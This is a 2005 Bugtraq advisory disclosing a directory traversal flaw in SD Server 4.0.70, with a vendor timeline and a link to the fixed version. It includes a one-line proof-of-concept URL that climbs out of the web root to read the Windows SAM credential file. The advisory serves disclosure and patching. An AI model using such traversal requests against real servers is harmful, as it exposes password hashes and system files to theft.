[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: SD Server 4.0.70 Directory Traversal Bug
From: "CorryL" <corryl () sitoverde ! com>
Date: 2005-02-22 18:40:31
Message-ID: 000f01c5190d$fd6a5280$0100a8c0 () server
[Download RAW message or body]
..:x0n3-h4ck Italian Security Team:..
/*Advisories*\
*/
Application: SD Server
Url Vendor: http://www.gdsoftware.dk/
Version: <= 4.0.70
Platforms: Windows
Bug: Directory Traversal
Exploitation: Remote
Author: CorryL
Email Author: corryl80@gmail.com
Url Author: www.x0n3-h4ck.org
*\
{Description}
The SD Server is a easy http server, A remote user can obtain files on the
system that are located outside of
the web document directory.
{Bug}
http://victimhost/../../../windows/repair/sam
A remote user succeeds to read the file sam of the system where to be in
execution SD Server.
{Vendor Status}
20/02/2005 Vendor notification
20/02/2005 Vendor response
21/02/2005 Vendor Fix the Bug
{Fix}
In version 4.0.0.72
http://www.gdsoftware.dk/dl_file.asp?link=SDServer 4.0.0.72.zip
CorryL
corryl80@gmail.com
www.x0n3-h4ck.org
Italian Security Team
_________________________________
www.seekstat.it is your web stat
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic